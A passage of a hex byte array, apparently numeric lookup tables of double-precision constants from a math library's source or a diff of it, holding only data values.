0x2b, 0xe3, 0xc5, 0x14, 0x17, 0x3e, - 0x9a, 0x4f, 0x73, 0xfd, 0xa7, 0xbb, 0x26, 0x3e, 0x83, 0x84, 0xe0, 0xb5, - 0x8f, 0xf4, 0xfd, 0x3d, 0x95, 0x0b, 0x4d, 0xc7, 0x9b, 0x2f, 0x23, 0x3e, - 0x13, 0x0c, 0x79, 0x48, 0xe8, 0x73, 0xf9, 0x3d, 0x6e, 0x58, 0xc6, 0x08, - 0xbc, 0xcc, 0x1e, 0x3e, 0x98, 0x4a, 0x52, 0xf9, 0xe9, 0x15, 0x21, 0x3e, - 0xb8, 0x31, 0x31, 0x59, 0x40, 0x17, 0x2f, 0x3e, 0x35, 0x38, 0x64, 0x25, - 0x8b, 0xcf, 0x1b, 0x3e, 0x80, 0xed, 0x8b, 0x1d, 0xa8, 0x5f, 0x1f, 0x3e, - 0xe4, 0xd9, 0x29, 0xf9, 0x4d, 0x4a, 0x24, 0x3e, 0x94, 0x0c, 0x22, 0xd8, - 0x20, 0x98, 0x12, 0x3e, 0x09, 0xe3, 0x04, 0x93, 0x48, 0x0b, 0x2a, 0x3e, - 0xfe, 0x65, 0xa6, 0xab, 0x56, 0x4d, 0x1f, 0x3e, 0x63, 0x51, 0x36, 0x19, - 0x90, 0x0c, 0x21, 0x3e, 0x36, 0x27, 0x59, 0xfe, 0x78, 0x0f, 0xf8, 0x3d, - 0xca, 0x1c, 0xc8, 0x25, 0x88, 0x52, 0x10, 0x3e, 0x6a, 0x74, 0x6d, 0x7d, - 0x53, 0x95, 0xe0, 0x3d, 0x60, 0x06, 0x0a, 0xa7, 0xbf, 0x27, 0x18, 0x3e, - 0x3c, 0x93, 0x45, 0xec, 0xa8, 0xb0, 0x06, 0x3e, 0xa9, 0xdb, 0xf5, 0x1b, - 0xf8, 0x5a, 0x10, 0x3e, 0x15, 0xd5, 0x55, 0x26, 0xfa, 0xe2, 0x17, 0x3e, - 0xbf, 0xe4, 0xae, 0xbf, 0xec, 0x59, 0x0d, 0x3e, 0xa3, 0x3f, 0x68, 0xda, - 0x2f, 0x8b, 0x1d, 0x3e, 0x37, 0x37, 0x3a, 0xfd, 0xdd, 0xb8, 0x24, 0x3e, - 0x04, 0x12, 0xae, 0x61, 0x7e, 0x82, 0x13, 0x3e, 0x9f, 0x0f, 0xe9, 0x49, - 0x7b, 0x8c, 0x2c, 0x3e, 0x1d, 0x59, 0x97, 0x15, 0xf0, 0xea, 0x29, 0x3e, - 0x36, 0x7b, 0x31, 0x6e, 0xa6, 0xaa, 0x19, 0x3e, 0x55, 0x06, 0x72, 0x09, - 0x56, 0x72, 0x2e, 0x3e, 0x54, 0xac, 0x7a, 0xfc, 0x33, 0x1c, 0x26, 0x3e, - 0x52, 0xa2, 0x61, 0xcf, 0x2b, 0x66, 0x29, 0x3e, 0x30, 0x27, 0xc4, 0x11, - 0xc8, 0x43, 0x18, 0x3e, 0x36, 0xcb, 0x5a, 0x0b, 0xbb, 0x64, 0x20, 0x3e, - 0xa4, 0x01, 0x27, 0x84, 0x0c, 0x34, 0x0a, 0x3e, 0xd6, 0x79, 0x8f, 0xb5, - 0x55, 0x8e, 0x1a, 0x3e, 0x9a, 0x9d, 0x5e, 0x9c, 0x21, 0x2d, 0xe9, 0x3d, - 0x6a, 0xfd, 0x7f, 0x0d, 0xe6, 0x63, 0x3f, 0x3e, 0x14, 0x63, 0x51, 0xd9, - 0x0e, 0x9b, 0x2e, 0x3e, 0x0c, 0x35, 0x62, 0x19, 0x90, 0x23, 0x29, 0x3e, - 0x81, 0x5e, 0x78, 0x38, 0x88, 0x6f, 0x32, 0x3e, 0xaf, 0xa6, 0xab, 0x4c, - 0x6a, 0x5b, 0x3b, 0x3e, 0x1c, 0x76, 0x8e, 0xdc, 0x6a, 0x22, 0xf0, 0x3d, - 0xed, 0x1a, 0x3a, 0x31, 0xd7, 0x4a, 0x3c, 0x3e, 0x17, 0x8d, 0x73, 0x7c, - 0xe8, 0x64, 0x15, 0x3e, 0x18, 0x66, 0x8a, 0xf1, 0xec, 0x8f, 0x33, 0x3e, - 0x66, 0x76, 0x77, 0xf5, 0x9e, 0x92, 0x3d, 0x3e, 0xb8, 0xa0, 0x8d, 0xf0, - 0x3b, 0x48, 0x39, 0x3e, 0x26, 0x58, 0xaa, 0xee, 0x0e, 0xdd, 0x3b, 0x3e, - 0xba, 0x37, 0x02, 0x59, 0xdd, 0xc4, 0x39, 0x3e, 0xc7, 0xca, 0xeb, 0xe0, - 0xe9, 0xf3, 0x1a, 0x3e, 0xac, 0x0d, 0x27, 0x82, 0x53, 0xce, 0x35, 0x3e, - 0xba, 0xb9, 0x2a, 0x53, 0x74, 0x4f, 0x39, 0x3e, 0x54, 0x86, 0x88, 0x95, - 0x27, 0x34, 0x07, 0x3e, 0xf0, 0x4b, 0xe3, 0x0b, 0x00, 0x5a, 0x0c, 0x3e, - 0x82, 0xd0, 0x06, 0x60, 0xc4, 0x11, 0x27, 0x3e, 0xf8, 0x8c, 0xed, 0xb4, - 0x25, 0x00, 0x25, 0x3e, 0xa0, 0xd2, 0xf2, 0xce, 0x8b, 0xd1, 0x2e, 0x3e, - 0x54, 0x75, 0x0a, 0x0c, 0x2e, 0x28, 0x21, 0x3e, 0xca, 0xa7, 0x59, 0x33, - 0xf3, 0x70, 0x0d, 0x3e, 0x25, 0x40, 0xa8, 0x13, 0x7e, 0x7f, 0x2b, 0x3e, - 0x1e, 0x89, 0x21, 0xc3, 0x6e, 0x30, 0x33, 0x3e, 0x50, 0x75, 0x8b, 0x03, - 0xf8, 0xc7, 0x3f, 0x3e, 0x64, 0x1d, 0xd7, 0x8c, 0x35, 0xb0, 0x3e, 0x3e, - 0x74, 0x94, 0x85, 0x22, 0xc8, 0x76, 0x3a, 0x3e, 0xe3, 0x86, 0xde, 0x52, - 0xc6, 0x0e, 0x3d, 0x3e, 0xaf, 0x58, 0x86, 0xe0, 0xcc, 0xa4, 0x2f, 0x3e, - 0x9e, 0x0a, 0xc0, 0xd2, 0xa2, 0x84, 0x3b, 0x3e, 0xd1, 0x5b, 0xc2, 0xf2, - 0xb0, 0xa5, 0x20, 0x3e, 0x99, 0xf6, 0x5b, 0x22, 0x60, 0xd6, 0x3d, 0x3e, - 0x37, 0xf0, 0x9b, 0x85, 0x0f, 0xb1, 0x08, 0x3e, 0xe1, 0xcb, 0x90, 0xb5, - 0x23, 0x88, 0x3e, 0x3e, 0xf6, 0x96, 0x1e, 0xf3, 0x11, 0x13, 0x36, 0x3e, - 0x9a, 0x0f, 0xa2, 0x5c, 0x87, 0x1f, 0x2e, 0x3e, 0xa5, 0xb9, 0x39, 0x49, - 0x72, 0x95, 0x2c, 0x3e, 0xe2, 0x58, 0x3e, 0x7a, 0x95, 0x05, 0x38, 0x3e, - 0x34, 0x03, 0x9f, 0xea, 0x26, 0xf1, 0x2f, 0x3e, 0x09, 0x56, 0x8e, 0x59, - 0xf5, 0x53, 0x39, 0x3e, 0x48, 0xc4, 0x56, 0xf8, 0x6f, 0xc1, 0x36, 0x3e, - 0xf4, 0x61, 0xf2, 0x0f, 0x22, 0xcb, 0x24, 0x3e, 0xa2, 0x53, 0x3d, 0xd5, - 0x20, 0xe1, 0x35, 0x3e, 0x56, 0xf2, 0x89, 0x61, 0x7f, 0x52, 0x3a, 0x3e, - 0x0f, 0x9c, 0xd4, 0xff, 0xfc, 0x56, 0x38, 0x3e, 0xda, 0xd7, 0x28, 0x82, - 0x2e, 0x0c, 0x30, 0x3e, 0xe0, 0xdf, 0x44, 0x94, 0xd0, 0x13, 0xf1, 0x3d, - 0xa6, 0x59, 0xea, 0x0e, 0x63, 0x10, 0x25, 0x3e, 0x11, 0xd7, 0x32, 0x0f, - 0x78, 0x2e, 0x26, 0x3e, 0xcf, 0xf8, 0x10, 0x1a, 0xd9, 0x3e, 0xed, 0x3d, - 0x85, 0xcd, 0x4b, 0x7e, 0x4a, 0x65, 0x23, 0x3e, 0x21, 0xad, 0x80, 0x49, - 0x78, 0x5b, 0x05, 0x3e, 0x64, 0x6e, 0xb1, 0xd4, 0x2d, 0x2f, 0x21, 0x3e, - 0x0c, 0xf5, 0x39, 0xd9, 0xad, 0xc4, 0x37, 0x3e, 0xfc, 0x80, 0x71, 0x62, - 0x84, 0x17, 0x28, 0x3e, 0x61, 0x49, 0xe1, 0xc7, 0x62, 0x51, 0xea, 0x3d, - 0x63, 0x51, 0x36, 0x19, 0x90, 0x0c, 0x31, 0x3e, 0x88, 0x76, 0xa1, 0x2b, - 0x4d, 0x3c, 0x37, 0x3e, 0x81, 0x3d, 0xe9, 0xe0, 0xa5, 0xe8, 0x2a, 0x3e, - 0xaf, 0x21, 0x16, 0xf0, 0xc6, 0xb0, 0x2a, 0x3e, 0x66, 0x5b, 0xdd, 0x74, - 0x8b, 0x1e, 0x30, 0x3e, 0x94, 0x54, 0xbb, 0xec, 0x6f, 0x20, 0x2d, 0x3e, - 0x00, 0xcc, 0x4f, 0x72, 0x8b, 0xb4, 0xf0, 0x3d, 0x29, 0xe2, 0x61, 0x0b, - 0x1f, 0x83, 0x3f, 0x3e, 0xaf, 0xbc, 0x07, 0xc4, 0x97, 0x1a, 0xf8, 0x3d, - 0xaa, 0xb7, 0xcb, 0x1c, 0x6c, 0x28, 0x3e, 0x3e, 0x93, 0x0a, 0x22, 0x49, - 0x0b, 0x63, 0x28, 0x3e, 0x5c, 0x2c, 0xa2, 0xc1, 0x15, 0x0b, 0xff, 0x3d, - 0x46, 0x09, 0x1c, 0xe7, 0x45, 0x54, 0x35, 0x3e, 0x85, 0x6d, 0x06, 0xf8, - 0x30, 0xe6, 0x3b, 0x3e, 0x39, 0x6c, 0xd9, 0xf0, 0xdf, 0x99, 0x25, 0x3e, - 0x81, 0xb0, 0x8f, 0xb1, 0x85, 0xcc, 0x36, 0x3e, 0xc8, 0xa8, 0x1e, 0x00, - 0x6d, 0x47, 0x34, 0x3e, 0x1f, 0xd3, 0x16, 0x9e, 0x88, 0x3f, 0x37, 0x3e, - 0x87, 0x2a, 0x79, 0x0d, 0x10, 0x57, 0x33, 0x3e, 0xf6, 0x01, 0x61, 0xae, - 0x79, 0xd1, 0x3b, 0x3e, 0xe2, 0xf6, 0xc3, 0x56, 0x10, 0xa3, 0x0c, 0x3e, - 0xfb, 0x08, 0x9c, 0x62, 0x70, 0x28, 0x3d, 0x3e, 0x3f, 0x67, 0xd2, 0x80, - 0x38, 0xba, 0x3a, 0x3e, 0xa6, 0x7d, 0x29, 0xcb, 0x33, 0x36, 0x2c, 0x3e, - 0x02, 0xea, 0xef, 0x99, 0x38, 0x84, 0x21, 0x3e, 0xe6, 0x08, 0x20, 0x9d, - 0xc9, 0xcc, 0x3b, 0x3e, 0x50, 0xd3, 0xbd, 0x44, 0x05, 0x00, 0x38, 0x3e, - 0xe1, 0x6a, 0x60, 0x26, 0xc2, 0x91, 0x2b, 0x3e, 0xdf, 0x2b, 0xb6, 0x26, - 0xdf, 0x7a, 0x2a, 0x3e, 0xc9, 0x6e, 0x82, 0xc8, 0x4f, 0x76, 0x18, 0x3e, - 0xf0, 0x68, 0x0f, 0xe5, 0x3d, 0x4f, 0x1f, 0x3e, 0xe3, 0x95, 0x79, 0x75, - 0xca, 0x60, 0xf7, 0x3d, 0x47, 0x51, 0x80, 0xd3, 0x7e, 0x66, 0xfc, 0x3d, - 0x6f, 0xdf, 0x6a, 0x19, 0xf6, 0x33, 0x37, 0x3e, 0x6b, 0x83, 0x3e, 0xf3, - 0x10, 0xb7, 0x2f, 0x3e, 0x13, 0x10, 0x64, 0xba, 0x6e, 0x88, 0x39, 0x3e, - 0x1a, 0x8c, 0xaf, 0xd0, 0x68, 0x53, 0xfb, 0x3d, 0x71, 0x29, 0x8d, 0x1b, - 0x69, 0x8c, 0x35, 0x3e, 0xfb, 0x08, 0x6d, 0x22, 0x65, 0x94, 0xfe, 0x3d, - 0x97, 0x00, 0x3f, 0x06, 0x7e, 0x58, 0x33, 0x3e, 0x18, 0x9f, 0x12, 0x02, - 0xe7, 0x18, 0x36, 0x3e, 0x54, 0xac, 0x7a, 0xfc, 0x33, 0x1c, 0x36, 0x3e, - 0x4a, 0x60, 0x08, 0x84, 0xa6, 0x07, 0x3f, 0x3e, 0x21, 0x54, 0x94, 0xe4, - 0xbf, 0x34, 0x3c, 0x3e, 0x0b, 0x30, 0x41, 0x0e, 0xf0, 0xb1, 0x38, 0x3e, - 0x63, 0x1b, 0xd6, 0x84, 0x42, 0x43, 0x3f, 0x3e, 0x36, 0x74, 0x39, 0x5e, - 0x09, 0x63, 0x3a, 0x3e, 0xde, 0x19, 0xb9, 0x56, 0x86, 0x42, 0x34, 0x3e, - 0xa6, 0xd9, 0xb2, 0x01, 0x92, 0xca, 0x36, 0x3e, 0x1c, 0x93, 0x2a, 0x3a, - 0x82, 0x38, 0x27, 0x3e, 0x30, 0x92, 0x17, 0x0e, 0x88, 0x11, 0x3c, 0x3e, - 0xfe, 0x52, 0x6d, 0x8d, 0xdc, 0x3d, 0x31, 0x3e, 0x17, 0xe9, 0x22, 0x89, - 0xd5, 0xee, 0x33, 0x3e, 0x50, 0xdd, 0x6b, 0x84, 0x92, 0x59, 0x29, 0x3e, - 0x8b, 0x27, 0x2e, 0x5f, 0x4d, 0xdb, 0x0d, 0x3e, 0xc4, 0x35, 0x06, 0x2a, - 0xf1, 0xa5, 0xf1, 0x3d, 0x34, 0x3c, 0x2c, 0x88, 0xf0, 0x42, 0x46, 0x3e, - 0x5e, 0x47, 0xf6, 0xa7, 0x9b, 0xee, 0x2a, 0x3e, 0xe4, 0x60, 0x4a, 0x83, - 0x7f, 0x4b, 0x26, 0x3e, 0x2e, 0x79, 0x43, 0xe2, 0x42, 0x0d, 0x29, 0x3e, - 0x01, 0x4f, 0x13, 0x08, 0x20, 0x27, 0x4c, 0x3e, 0x5b, 0xcf, 0xd6, 0x16, - 0x2e, 0x78, 0x4a, 0x3e, 0x48, 0x66, 0xda, 0x79, 0x5c, 0x50, 0x44, 0x3e, - 0x21, 0xcd, 0x4d, 0xea, 0xd4, 0xa9, 0x4c, 0x3e, 0xbc, 0xd5, 0x7c, 0x62, - 0x3d, 0x7d, 0x29, 0x3e, 0x13, 0xaa, 0xbc, 0xf9, 0x5c, 0xb1, 0x20, 0x3e, - 0xdd, 0x76, 0xcf, 0x63, 0x20, 0x5b, 0x31, 0x3e, 0x48, 0x27, 0xaa, 0xf3, - 0xe6, 0x83, 0x29, 0x3e, 0x94, 0xe9, 0xff, 0xf4, 0x64, 0x4c, 0x3f, 0x3e, - 0x0f, 0x5a, 0xe8, 0x7c, 0xba, 0xbe, 0x46, 0x3e, 0xb8, 0xa6, 0x4e, 0xfd, - 0x69, 0x9c, 0x3b, 0x3e, 0xab, 0xa4, 0x5f, 0x83, 0xa5, 0x6a, 0x2b, 0x3e, - 0xd1, 0xed, 0x0f, 0x79, 0xc3, 0xcc, 0x43, 0x3e, 0xe0, 0x4f, 0x40, 0xc4, - 0x4c, 0xc0, 0x29, 0x3e, 0x9d, 0xd8, 0x75, 0x7a, 0x4b, 0x73, 0x40, 0x3e, - 0x12, 0x16, 0xe0, 0xc4, 0x04, 0x44, 0x1b, 0x3e, 0x94, 0x48, 0xce, 0xc2, - 0x65, 0xc5, 0x40, 0x3e, 0xcd, 0x35, 0xd9, 0x41, 0x14, 0xc7, 0x33, 0x3e, - 0x4e, 0x3b, 0x6b, 0x55, 0x92, 0xa4, 0x72, 0x3d, 0x43, 0xdc, 0x41, 0x03, - 0x09, 0xfa, 0x20, 0x3e, 0xf4, 0xd9, 0xe3, 0x09, 0x70, 0x8f, 0x2e, 0x3e, - 0x45, 0x8a, 0x04, 0x8b, 0xf6, 0x1b, 0x4b, 0x3e, 0x56, 0xa9, 0xfa, 0xdf, - 0x52, 0xee, 0x3e, 0x3e, 0xbd, 0x65, 0xe4, 0x00, 0x09, 0x6b, 0x45, 0x3e, - 0x66, 0x76, 0x77, 0xf5, 0x9e, 0x92, 0x4d, 0x3e, 0x60, 0xe2, 0x37, 0x86, - 0xa2, 0x6e, 0x48, 0x3e, 0xf0, 0xa2, 0x0c, 0xf1, 0xaf, 0x65, 0x46, 0x3e, - 0x74, 0xec, 0x48, 0xaf, 0xfd, 0x11, 0x2f, 0x3e, 0xc7, 0xd1, 0xa4, 0x86, - 0x1b, 0xbe, 0x4c, 0x3e, 0x65, 0x76, 0xa8, 0xfe, 0x5b, 0xb0, 0x25, 0x3e, - 0x1d, 0x4a, 0x1a, 0x0a, 0xc2, 0xce, 0x41, 0x3e, 0x9f, 0x9b, 0x40, 0x0a, - 0x5f, 0xcd, 0x41, 0x3e, 0x70, 0x50, 0x26, 0xc8, 0x56, 0x36, 0x45, 0x3e, - 0x60, 0x22, 0x28, 0x35, 0xd8, 0x7e, 0x37, 0x3e, 0xd2, 0xb9, 0x40, 0x30, - 0xbc, 0x17, 0x24, 0x3e, 0xf2, 0xef, 0x79, 0x7b, 0xef, 0x8e, 0x40, 0x3e, - 0xe9, 0x57, 0xdc, 0x39, 0x6f, 0xc7, 0x4d, 0x3e, 0x57, 0xf4, 0x0c, 0xa7, - 0x93, 0x04, 0x4c, 0x3e, 0x0c, 0xa6, 0xa5, 0xce, 0xd6, 0x83, 0x4a, 0x3e, - 0xba, 0x57, 0xc5, 0x0d, 0x70, 0xd6, 0x30, 0x3e, 0x0a, 0xbd, 0xe8, 0x12, - 0x6c, 0xc9, 0x44, 0x3e, 0x15, 0x23, 0xe3, 0x93, 0x19, 0x2c, 0x3d, 0x3e, - 0x42, 0x82, 0x5f, 0x13, 0x21, 0xc7, 0x22, 0x3e, 0x7d, 0x74, 0xda, 0x4d, - 0x3e, 0x9a, 0x27, 0x3e, 0x2b, 0xa7, 0x41, 0x69, 0x9f, 0xf8, 0xfc, 0x3d, - 0x31, 0x08, 0xf1, 0x02, 0xa7, 0x49, 0x21, 0x3e, 0xdb, 0x75, 0x81, 0x7c, - 0x4b, 0xad, 0x4e, 0x3e, 0x0a, 0xe7, 0x63, 0xfe, 0x30, 0x69, 0x4e, 0x3e, - 0x2f, 0xee, 0xd9, 0xbe, 0x06, 0xe1, 0x41, 0x3e, 0x92, 0x1c, 0xf1, 0x82, - 0x2b, 0x68, 0x2d, 0x3e, 0x7c, 0xa4, 0xdb, 0x88, 0xf1, 0x07, 0x3a, 0x3e, - 0xf6, 0x72, 0xc1, 0x2d, 0x34, 0xf9, 0x40, 0x3e, 0x25, 0x3e, 0x62, 0xde, - 0x3f, 0xef, 0x03, 0x3e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x20, 0xe0, 0x1f, 0xe0, - 0x1f, 0xe0, 0xff, 0x3f, 0xf0, 0x07, 0xfc, 0x01, 0x7f, 0xc0, 0xff, 0x3f, - 0x12, 0xfa, 0x01, 0xaa, 0x1c, 0xa1, 0xff, 0x3f, 0x20, 0xf8, 0x81, 0x1f, - 0xf8, 0x81, 0xff, 0x3f, 0xb5, 0xdb, 0xa0, 0xac, 0x10, 0x63, 0xff, 0x3f, - 0x71, 0x42, 0x4a, 0x9e, 0x65, 0x44, 0xff, 0x3f, 0xb5, 0x0a, 0x23, 0x44, - 0xf6, 0x25, 0xff, 0x3f, 0x08, 0x1f, 0x7c, 0xf0, 0xc1, 0x07, 0xff, 0x3f, - 0x02, 0x8e, 0x45, 0xf8, 0xc7, 0xe9, 0xfe, 0x3f, 0xc0, 0xec, 0x01, 0xb3, - 0x07, 0xcc, 0xfe, 0x3f, 0xeb, 0x01, 0xba, 0x7a, 0x80, 0xae, 0xfe, 0x3f, - 0x67, 0xb7, 0xf0, 0xab, 0x31, 0x91, 0xfe, 0x3f, 0xe4, 0x50, 0x97, 0xa5, - 0x1a, 0x74, 0xfe, 0x3f, 0x74, 0xe5, 0x01, 0xc9, 0x3a, 0x57, 0xfe, 0x3f, - 0x73, 0x1a, 0xdc, 0x79, 0x91, 0x3a, 0xfe, 0x3f, 0x1e, 0x1e, 0x1e, 0x1e, - 0x1e, 0x1e, 0xfe, 0x3f, 0x1e, 0xe0, 0x01, 0x1e, 0xe0, 0x01, 0xfe, 0x3f, - 0x8a, 0x86, 0xf8, 0xe3, 0xd6, 0xe5, 0xfd, 0x3f, 0xca, 0x1d, 0xa0, 0xdc, - 0x01, 0xca, 0xfd, 0x3f, 0xdb, 0x81, 0xb9, 0x76, 0x60, 0xae, 0xfd, 0x3f, - 0x8a, 0x7f, 0x1e, 0x23, 0xf2, 0x92, 0xfd, 0x3f, 0x34, 0x2c, 0xb8, 0x54, - 0xb6, 0x77, 0xfd, 0x3f, 0xb2, 0x72, 0x75, 0x80, 0xac, 0x5c, 0xfd, 0x3f, - 0x1d, 0xd4, 0x41, 0x1d, 0xd4, 0x41, 0xfd, 0x3f, 0x1a, 0x5b, 0xfc, 0xa3, - 0x2c, 0x27, 0xfd, 0x3f, 0x74, 0xc0, 0x6e, 0x8f, 0xb5, 0x0c, 0xfd, 0x3f, - 0xc6, 0xbf, 0x44, 0x5c, 0x6e, 0xf2, 0xfc, 0x3f, 0x0b, 0x9b, 0x03, 0x89, - 0x56, 0xd8, 0xfc, 0x3f, 0xe7, 0xcb, 0x01, 0x96, 0x6d, 0xbe, 0xfc, 0x3f, - 0x91, 0xe1, 0x5e, 0x05, 0xb3, 0xa4, 0xfc, 0x3f, 0x42, 0x8a, 0xfb, 0x5a, - 0x26, 0x8b, 0xfc, 0x3f, 0x1c, 0xc7, 0x71, 0x1c, 0xc7, 0x71, 0xfc, 0x3f, - 0x86, 0x49, 0x0d, 0xd1, 0x94, 0x58, 0xfc, 0x3f, 0xf0, 0xf8, 0xc3, 0x01, - 0x8f, 0x3f, 0xfc, 0x3f, 0x1c, 0xa0, 0x2e, 0x39, 0xb5, 0x26, 0xfc, 0x3f, - 0xe0, 0xc0, 0x81, 0x03, 0x07, 0x0e, 0xfc, 0x3f, 0x8b, 0x8d, 0x86, 0xee, - 0x83, 0xf5, 0xfb, 0x3f, 0xf7, 0x06, 0x94, 0x89, 0x2b, 0xdd, 0xfb, 0x3f, - 0x7b, 0x3e, 0x88, 0x65, 0xfd, 0xc4, 0xfb, 0x3f, 0xd0, 0xba, 0xc1, 0x14, - 0xf9, 0xac, 0xfb, 0x3f, 0x23, 0xff, 0x18, 0x2b, 0x1e, 0x95, 0xfb, 0x3f, - 0x8b, 0x33, 0xda, 0x3d, 0x6c, 0x7d, 0xfb, 0x3f, 0x05, 0xee, 0xbe, 0xe3, - 0xe2, 0x65, 0xfb, 0x3f, 0x4f, 0x1b, 0xe8, 0xb4, 0x81, 0x4e, 0xfb, 0x3f, - 0xce, 0x06, 0xd8, 0x4a, 0x48, 0x37, 0xfb, 0x3f, 0xd9, 0x80, 0x6c, 0x40, - 0x36, 0x20, 0xfb, 0x3f, 0xa4, 0x22, 0xd9, 0x31, 0x4b, 0x09, 0xfb, 0x3f, - 0x28, 0xaf, 0xa1, 0xbc, 0x86, 0xf2, 0xfa, 0x3f, 0x5e, 0x90, 0x94, 0x7f, - 0xe8, 0xdb, 0xfa, 0x3f, 0x1b, 0x70, 0xc5, 0x1a, 0x70, 0xc5, 0xfa, 0x3f, - 0xfd, 0xeb, 0x87, 0x2f, 0x1d, 0xaf, 0xfa, 0x3f, 0xbe, 0x63, 0x6a, 0x60, - 0xef, 0x98, 0xfa, 0x3f, 0x59, 0xe1, 0x30, 0x51, 0xe6, 0x82, 0xfa, 0x3f, - 0x6d, 0x1a, 0xd0, 0xa6, 0x01, 0x6d, 0xfa, 0x3f, 0x4a, 0x8a, 0x68, 0x07, - 0x41, 0x57, 0xfa, 0x3f, 0x1a, 0xa4, 0x41, 0x1a, 0xa4, 0x41, 0xfa, 0x3f, - 0xa0, 0x1c, 0xc5, 0x87, 0x2a, 0x2c, 0xfa, 0x3f, 0x02, 0x4b, 0x7a, 0xf9, - 0xd3, 0x16, 0xfa, 0x3f, 0x1a, 0xa0, 0x01, 0x1a, 0xa0, 0x01, 0xfa, 0x3f, - 0xd9, 0x33, 0x10, 0x95, 0x8e, 0xec, 0xf9, 0x3f, 0x2d, 0x68, 0x6b, 0x17, - 0x9f, 0xd7, 0xf9, 0x3f, 0x02, 0xa1, 0xe4, 0x4e, 0xd1, 0xc2, 0xf9, 0x3f, - 0xda, 0x10, 0x55, 0xea, 0x24, 0xae, 0xf9, 0x3f, 0x9a, 0x99, 0x99, 0x99, - 0x99, 0x99, 0xf9, 0x3f, 0xff, 0xc0, 0x8e, 0x0d, 0x2f, 0x85, 0xf9, 0x3f, - 0x72, 0xb8, 0x0c, 0xf8, 0xe4, 0x70, 0xf9, 0x3f, 0xae, 0x77, 0xe3, 0x0b, - 0xbb, 0x5c, 0xf9, 0x3f, 0xe0, 0xe9, 0xd6, 0xfc, 0xb0, 0x48, 0xf9, 0x3f, - 0xe6, 0x2c, 0x9b, 0x7f, 0xc6, 0x34, 0xf9, 0x3f, 0x29, 0xe2, 0xd0, 0x49, - 0xfb, 0x20, 0xf9, 0x3f, 0xd5, 0x90, 0x01, 0x12, 0x4f, 0x0d, 0xf9, 0x3f, - 0xfa, 0x18, 0x9c, 0x8f, 0xc1, 0xf9, 0xf8, 0x3f, 0x3f, 0x37, 0xf1, 0x7a, - 0x52, 0xe6, 0xf8, 0x3f, 0xd3, 0x18, 0x30, 0x8d, 0x01, 0xd3, 0xf8, 0x3f, - 0x3a, 0xff, 0x62, 0x80, 0xce, 0xbf, 0xf8, 0x3f, 0xaa, 0xf3, 0x6b, 0x0f, - 0xb9, 0xac, 0xf8, 0x3f, 0x9c, 0x89, 0x01, 0xf6, 0xc0, 0x99, 0xf8, 0x3f, - 0x4a, 0xb0, 0xab, 0xf0, 0xe5, 0x86, 0xf8, 0x3f, 0xb9, 0x92, 0xc0, 0xbc, - 0x27, 0x74, 0xf8, 0x3f, 0x18, 0x86, 0x61, 0x18, 0x86, 0x61, 0xf8, 0x3f, - 0x14, 0x06, 0x78, 0xc2, 0x00, 0x4f, 0xf8, 0x3f, 0xdd, 0xbe, 0xb2, 0x7a, - 0x97, 0x3c, 0xf8, 0x3f, 0xa0, 0xa4, 0x82, 0x01, 0x4a, 0x2a, 0xf8, 0x3f, - 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0xf8, 0x3f, 0x06, 0x18, 0x60, 0x80, - 0x01, 0x06, 0xf8, 0x3f, 0x40, 0x7f, 0x01, 0xfd, 0x05, 0xf4, 0xf7, 0x3f, - 0x1d, 0x4f, 0x5a, 0x51, 0x25, 0xe2, 0xf7, 0x3f, 0xf4, 0x05, 0x7d, 0x41, - 0x5f, 0xd0, 0xf7, 0x3f, 0x7c, 0x01, 0x2e, 0x92, 0xb3, 0xbe, 0xf7, 0x3f, - 0xc3, 0xec, 0xe0, 0x08, 0x22, 0xad, 0xf7, 0x3f, 0x8b, 0x39, 0xb6, 0x6b, - 0xaa, 0x9b, 0xf7, 0x3f, 0xc8, 0xa4, 0x78, 0x81, 0x4c, 0x8a, 0xf7, 0x3f, - 0x0d, 0xc6, 0x9a, 0x11, 0x08, 0x79, 0xf7, 0x3f, 0xb1, 0xa9, 0x34, 0xe4, - 0xdc, 0x67, 0xf7, 0x3f, 0x6d, 0x75, 0x01, 0xc2, 0xca, 0x56, 0xf7, 0x3f, - 0x46, 0x17, 0x5d, 0x74, 0xd1, 0x45, 0xf7, 0x3f, 0x8d, 0xfe, 0x41, 0xc5, - 0xf0, 0x34, 0xf7, 0x3f, 0xbc, 0xde, 0x46, 0x7f, 0x28, 0x24, 0xf7, 0x3f, - 0x09, 0x7c, 0x9c, 0x6d, 0x78, 0x13, 0xf7, 0x3f, 0x70, 0x81, 0x0b, 0x5c, - 0xe0, 0x02, 0xf7, 0x3f, 0x17, 0x60, 0xf2, 0x16, 0x60, 0xf2, 0xf6, 0x3f, - 0xc7, 0x37, 0x43, 0x6b, 0xf7, 0xe1, 0xf6, 0x3f, 0x61, 0xc8, 0x81, 0x26, - 0xa6, 0xd1, 0xf6, 0x3f, 0x17, 0x6c, 0xc1, 0x16, 0x6c, 0xc1, 0xf6, 0x3f, - 0x3d, 0x1a, 0xa3, 0x0a, 0x49, 0xb1, 0xf6, 0x3f, 0x90, 0x72, 0x53, 0xd1, - 0x3c, 0xa1, 0xf6, 0x3f, 0xc0, 0xd0, 0x88, 0x3a, 0x47, 0x91, 0xf6, 0x3f, - 0x17, 0x68, 0x81, 0x16, 0x68, 0x81, 0xf6, 0x3f, 0x1a, 0x67, 0x01, 0x36, - 0x9f, 0x71, 0xf6, 0x3f, 0xf9, 0x22, 0x51, 0x6a, 0xec, 0x61, 0xf6, 0x3f, - 0xa3, 0x4a, 0x3b, 0x85, 0x4f, 0x52, 0xf6, 0x3f, 0x64, 0x21, 0x0b, 0x59, - 0xc8, 0x42, 0xf6, 0x3f, 0xde, 0xc0, 0x8a, 0xb8, 0x56, 0x33, 0xf6, 0x3f, - 0x40, 0x62, 0x01, 0x77, 0xfa, 0x23, 0xf6, 0x3f, 0x94, 0xae, 0x31, 0x68, - 0xb3, 0x14, 0xf6, 0x3f, 0x06, 0x16, 0x58, 0x60, 0x81, 0x05, 0xf6, 0x3f, - 0xfc, 0x2d, 0x29, 0x34, 0x64, 0xf6, 0xf5, 0x3f, 0xe7, 0x15, 0xd0, 0xb8, - 0x5b, 0xe7, 0xf5, 0x3f, 0xa5, 0xe2, 0xec, 0xc3, 0x67, 0xd8, 0xf5, 0x3f, - 0x57, 0x10, 0x93, 0x2b, 0x88, 0xc9, 0xf5, 0x3f, 0x91, 0xfa, 0x47, 0xc6, - 0xbc, 0xba, 0xf5, 0x3f, 0xc0, 